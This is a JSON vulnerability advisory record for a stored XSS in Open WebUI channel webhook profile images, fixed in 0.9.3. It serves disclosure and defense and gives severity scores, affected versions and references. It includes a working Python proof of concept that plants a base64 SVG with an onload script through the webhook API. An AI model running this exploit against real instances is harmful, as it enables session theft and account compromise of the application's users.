{"id":"CVE-2026-45314","aliases":["CVE-2026-45314","GHSA-3856-3vxq-m6fc","PYSEC-2026-2694"],"related":[],"kind":"vulnerability","state":"published","title":"Open WebUI: XSS via SVG in /api/v1/channels/webhooks/{webhook_id}/profile/image","summary":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. This vulnerability is fixed in 0.9.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the channel webhook create/update flow accepts arbitrary profile_image_url values, including data:image/svg+xml;base64,... payloads. The profile image endpoint then decodes and serves this SVG as image/svg+xml without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. This vulnerability is fixed in 0.9.3.","source":"cvelist"},{"lang":"en","text":"As part of our research on improving our [AI pentest](https://www.aikido.dev/attack/aipentest), we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report.\n\n### Summary\n\nThe channel webhook create/update flow accepts arbitrary `profile_image_url` values, including `data:image/svg+xml;base64,...` payloads. The profile image endpoint then decodes and serves this SVG as `image/svg+xml` without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser.\n\n### Details\n\nThe server accepts `data:image/svg+xml;base64,...` values for `profile_image_url` when creating or updating a webhook. Later, `GET /api/v1/channels/webhooks/{webhook_id}/profile/image` detects `data:image`, base64-decodes it, derives the media type from the header (e.g., `image/svg+xml`), and returns a `StreamingResponse` with `Content-Disposition: inline` and `media_type` set to `image/svg+xml`. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS.\n\n### PoC\n\n1. Set up a new instance of Open WebUI and log in as admin\n2. In the Admin Panel, enable *Channels (Beta)* and click Save\n3. Create a low-privilege user in the Users tab\n4. As the attacker, use the low-privilege user to run the following script:\n\n```py\nimport base64\nimport secrets\n\nimport requests\n\nBASE_URL = \"http://127.0.0.1:14000\"\nEMAIL = \"low@local.test\"\nPASSWORD = \"low\"\n\nCHANNEL_NAME_PREFIX = \"xsswh-poc\"\nWEBHOOK_NAME = \"xss-webhook-poc\"\nSVG_CANARY = '<svg xmlns=\"http://www.w3.org/2000/svg\" onload=\"alert(origin)\"></svg>'\n\nif __name__ == \"__main__\":\n    s = requests.Session()\n    s.headers.update({\"Content-Type\": \"application/json\"})\n\n    r = s.post(\n        f\"{BASE_URL}/api/v1/auths/signin\",\n        json={\"email\": EMAIL, \"password\": PASSWORD},\n        timeout=30,\n    )\n    r.raise_for_status()\n    s.headers[\"Authorization\"] = f\"Bearer {r.json()['token']}\"\n\n    r = s.post(\n        f\"{BASE_URL}/api/v1/channels/create\",\n        json={\n            \"name\": f\"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}\",\n            \"type\": \"group\",\n            \"user_ids\": [],\n            \"group_ids\": [],\n        },\n        timeout=30,\n    )\n    r.raise_for_status()\n    channel_id = r.json()[\"id\"]\n\n    payload = \"data:image/svg+xml;base64,\" + base64.b64encode(SVG_CANARY.encode()).decode()\n    r = s.post(\n        f\"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create\",\n        json={\"name\": WEBHOOK_NAME, \"profile_image_url\": payload},\n        timeout=30,\n    )\n    r.raise_for_status()\n    webhook_id = r.json()[\"id\"]\n\n    print(f\"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image\")\n```\n\nThis should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS:\n\nhttp://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image\n\n<img width=\"1079\" height=\"222\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce158ace-d14f-4a73-aeb0-e828aff005df\" />\n\n### Impact\n\nConditions required: The victim must be an authenticated, verified user. Channel feature must be enabled.\n\nStored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed.\n\n### Original Agent Report\n\n<img width=\"400\" alt=\"app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)\" src=\"https://github.com/user-attachments/assets/0bfb2c7c-f7c4-49cd-a262-5ed9e1bb10df\" />","format":"markdown","source":"ghsa"},{"lang":"es","text":"Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar totalmente fuera de línea. Antes de la 0.9.3, el flujo de creación/actualización del webhook del canal acepta valores arbitrarios de profile_image_url, incluyendo cargas útiles como data:image/svg+xml;base64,.... El endpoint de la imagen de perfil luego decodifica y sirve este SVG como image/svg+xml sin sanitización, permitiendo que controladores de scripts controlados por el atacante (por ejemplo, onload) se ejecuten cuando la URL de la imagen de perfil se abre en el navegador. Esta vulnerabilidad se corrigió en la 0.9.3.","source":"nvd"}],"published":"2026-05-14T20:18:09.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","score":7.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"cwes":["CWE-87"],"affected":[{"ranges":[{"version":"< 0.9.3","status":"affected"}],"vendor":"open-webui","product":"open-webui","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.3"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.9.3"}],"vendor":"openwebui","product":"open_webui","cpe":"cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.3"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"pysec"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-3856-3vxq-m6fc","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45314","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.3","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/open-webui","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-3856-3vxq-m6fc","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-18T19:43:05.967Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45314","url":"https://www.cve.org/CVERecord?id=CVE-2026-45314","licence":"CVE Terms of Use","modified":"2026-05-18T19:44:49.427Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3856-3vxq-m6fc","url":"https://github.com/advisories/GHSA-3856-3vxq-m6fc","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:29.833Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45314","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2694","url":"https://osv.dev/vulnerability/PYSEC-2026-2694","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:54.789Z"}],"updatedAt":"2026-11-25T22:59:21.874Z","epss":{"score":0.0022,"percentile":0.13281,"date":"2026-12-01T12:00:22.000Z"}}